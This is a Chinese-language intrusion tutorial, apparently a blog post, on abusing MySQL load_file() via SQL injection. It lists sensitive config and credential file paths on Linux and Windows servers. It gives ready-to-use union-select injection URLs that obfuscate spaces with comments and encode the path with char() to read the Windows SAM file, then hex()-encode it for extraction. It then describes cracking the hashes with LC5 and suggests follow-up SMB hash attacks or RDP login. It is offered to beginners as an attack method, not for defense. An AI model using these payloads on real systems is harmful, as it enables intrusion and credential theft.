MYSQL注入中，load_file()函數(shù)在獲得webshell以及提權(quán)過程中起著十分重要的作用，常被用來讀取各種配置文件，如：
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
/usr/local/app/php5/lib/php.ini //PHP相關(guān)設(shè)置
/etc/sysconfig/iptables //從中得到防火墻規(guī)則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統(tǒng)版本
/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存儲(chǔ)了mysql.user表中的數(shù)據(jù)庫(kù)連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲(chǔ)了虛擬主機(jī)網(wǎng)站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
等等。實(shí)際上，load_file()的作用不止于此，它還可以用來讀取系統(tǒng)中的二進(jìn)制文件，
c:\windows\repair\sam //存儲(chǔ)了WINDOWS系統(tǒng)初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲(chǔ)于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存儲(chǔ)了pcAnywhere的登陸密碼
等敏感文件都在此列。
MYSQL 賬號(hào)權(quán)限足夠高的話，理論上load_file()函數(shù)可以讀取任何文件，只是因?yàn)闉g覽器的編碼不能完全顯示二進(jìn)制編碼的文件，從而無法把 load_file()出來的二進(jìn)制文件存儲(chǔ)并加以利用。其實(shí)這個(gè)問題很容易解決，只要用hex()函數(shù)把用load_file()函數(shù)讀出的二進(jìn)制文件 轉(zhuǎn)為十六進(jìn)制，就可以把二進(jìn)制文件以十六進(jìn)制編碼的形式完全顯示在網(wǎng)頁上。把這些十六進(jìn)制代碼復(fù)制下來，用十六進(jìn)制文件編輯器編輯后另存，就可以得到完整 的二進(jìn)制文件。
下面用實(shí)例加以說明：
目標(biāo)服務(wù)器為win2003系統(tǒng)，存在root權(quán)限的注入點(diǎn)，有讀取權(quán)限。 見圖1
oad_file()讀取目標(biāo)服務(wù)器c:\windows\repair\sam文件。如果windows系統(tǒng)安裝后管理員沒有更改密碼的話，則有希望得到目標(biāo)服務(wù)器上的windows用戶密碼。構(gòu)造
http://www.site.com/mulu/pf.php?id=59/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)),60,32),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*
（注：(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109) 是c:\windows\repair\sam的ASC編碼）
得到結(jié)果如圖2所示，顯示為亂碼的sam文件。
這里要說明一下，windows系統(tǒng)把sam文件中的資料進(jìn)行了加密處理，一般的編輯器是無法直接讀取這些信息的，除了亂碼什么也看不到。
加上hex()函數(shù)后，鏈接為
http://www.site.com/mulu/pf.php?id=59/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)),60,32)),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*
得到結(jié)果為圖3所示十六進(jìn)制的sam文件內(nèi)容。
復(fù)制這些十六進(jìn)制代碼，打開十六進(jìn)制編輯器Hex Workshop，順序點(diǎn)擊文件–新建 (圖4)
點(diǎn)擊編輯–特殊粘貼(圖5)
選擇CF_TEXT選項(xiàng)，并選中 解釋為十六進(jìn)制字串選項(xiàng)。(圖6)
點(diǎn)擊粘貼，得到如圖7所示畫面
點(diǎn)擊文件–另存為，保存類型為所有文件(圖8)，就得到了完整的sam文件。
之后用LC5導(dǎo)入得到的sam文件，(圖9)
得到密碼HASH。(圖10)
后續(xù)的攻擊：
如果對(duì)方開啟了139/445端口，可以嘗試用獲得的密碼HASH進(jìn)行SMB攻擊。
如果對(duì)方開啟了3389端口，可以嘗試破解獲得的密碼HASH得到密碼遠(yuǎn)程登陸。
入侵中Load_file()的作用有其局限性，如果能配合各種目錄遍歷漏洞使用，往往能有奇效。
本文沒什么技術(shù)含量，只是提供了思路，希望對(duì)新手朋友們有用。
聯(lián)系客服
